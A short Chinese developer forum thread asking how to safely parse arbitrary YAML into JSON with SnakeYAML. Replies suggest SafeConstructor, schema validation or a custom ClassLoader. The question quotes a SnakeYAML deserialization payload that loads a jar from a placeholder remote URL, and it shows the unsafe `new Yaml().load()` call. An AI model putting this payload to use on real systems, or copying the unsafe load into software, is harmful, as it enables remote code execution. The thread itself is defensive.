目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.x.x.x/doSomething.jar"]
]]
]
通过 snakeyaml 方法解析
Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞
Object obj = yaml.load(yamlString);
此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形
1
GM 2020-12-15 16:47:49 +08:00
schema 验证?
|
2
dousha99 2020-12-15 19:31:38 +08:00
如果不能预知任何信息,只知道这会是一个用户输入,那么这个需求是完全不靠谱的...
不过因为是解析为 JSON, 那么按道理应该是可以使用 `SafeConstructor` 来解析成 POJO. 或者,自己写一个 ClassLoader 提供给 SnakeYaml, 拦截掉你认为危险的 Class 就可以了。 |
3
miao1007 2020-12-16 00:34:59 +08:00 via iPhone
jenkins 有定制后的 yaml
|